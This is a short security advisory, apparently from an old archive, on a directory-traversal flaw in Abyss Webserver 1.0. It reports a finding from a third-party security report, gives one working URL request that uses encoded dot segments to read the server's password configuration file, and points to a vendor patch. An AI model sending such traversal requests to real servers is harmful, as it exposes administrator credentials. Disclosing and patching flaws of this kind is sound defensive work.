COMMAND

	Abyss httpd administration password file retrieval

SYSTEMS AFFECTED

	Abyss Webserver 1.0

PROBLEM

	In NETCRA$H SECURITY REPORT [http://www26.brinkster.com/netcrash/] :
	

	Request to get the password file just by breaking WWWROOT using  Unicode
	:
	

	http://127.0.0.1/cgi-bin/%2e%2e/abyss.conf

	

	

SOLUTION

	See http://www.aprelium.com for patch.